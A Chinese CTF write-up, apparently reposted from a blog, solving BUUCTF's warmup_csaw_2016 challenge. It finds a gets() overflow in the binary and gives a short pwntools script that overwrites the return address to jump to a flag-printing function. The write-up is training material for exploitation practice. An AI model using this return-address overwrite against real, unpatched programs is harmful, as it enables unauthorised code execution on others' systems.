zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN3——warmup_csaw_2016

    [BUUCTF]PWN3——warmup_csaw_2016

    题目网址:https://buuoj.cn/challenges#warmup_csaw_2016

    步骤
    例行检查,64位,没有开启任何保护
    在这里插入图片描述
    nc一下,看看输入点的字符串,看到回显了一个地址,之后让我们输入,输入完之后就退出了
    在这里插入图片描述
    用64位ida打开附件,首先shift+f12查看程序里的字符串,可以看到有一个“cat flag.txt”字符串引人注目
    在这里插入图片描述
    双击字符串跟进,ctrl+x查看哪个函数调用了这个字符串,找到函数后按f5反编译成我们熟悉的伪代码

    在这里插入图片描述
    可以看到sub_40060D()这个函数的作用就是输出flag的文件信息,记一下这个函数地址,flag_addr=0x40060D

    之后回到查看字符串的窗口,根据之前nc时看到的字符串找到输入点
    (我们一般做题的时候应该从main函数开始看程序,了解程序的逻辑,只是我感觉根据nc得到的输入点的字符串能更快的找到输入点,看看输入点是否存在漏洞,一般输入点的函数就是main函数,或者被main函数调用)
    在这里插入图片描述
    输入点在第11行,gets函数没有限制我们写入字符串的长度,存在溢出漏洞,然后看到ida反编译出来v5的大小是0x40,只要我们输入的字符串长度=0x40+8(64位ebp的长度)即可溢出到返回地址,然后将返回地址覆盖成读出flag的那个函数地址即可完成利用

    from pwn import*
    
    r=remote('node3.buuoj.cn',27119)
    flag_addr=0x40060D
    
    payload='a'*(0x40+8)+p64(flag_addr)
    
    r.sendline(payload)
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    .net core 3.1 添加区域 area
    JMeter 网站并发测试工具使用教程
    .net core 3.1 使用ado.net
    .net core 3.1 mvc 调试的时 更改cshtml页面 刷新浏览器不更新
    .net core 3.1 autofac(webapi / mvc 通过)
    .net core3.1 rest api 无法接收 vue 中 axios 请求
    .net core 3.1 web api 允许跨域
    mysql 中文匹配
    mysql 分组排序
    mysql json处理
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273730.html
Copyright © 2011-2022 走看看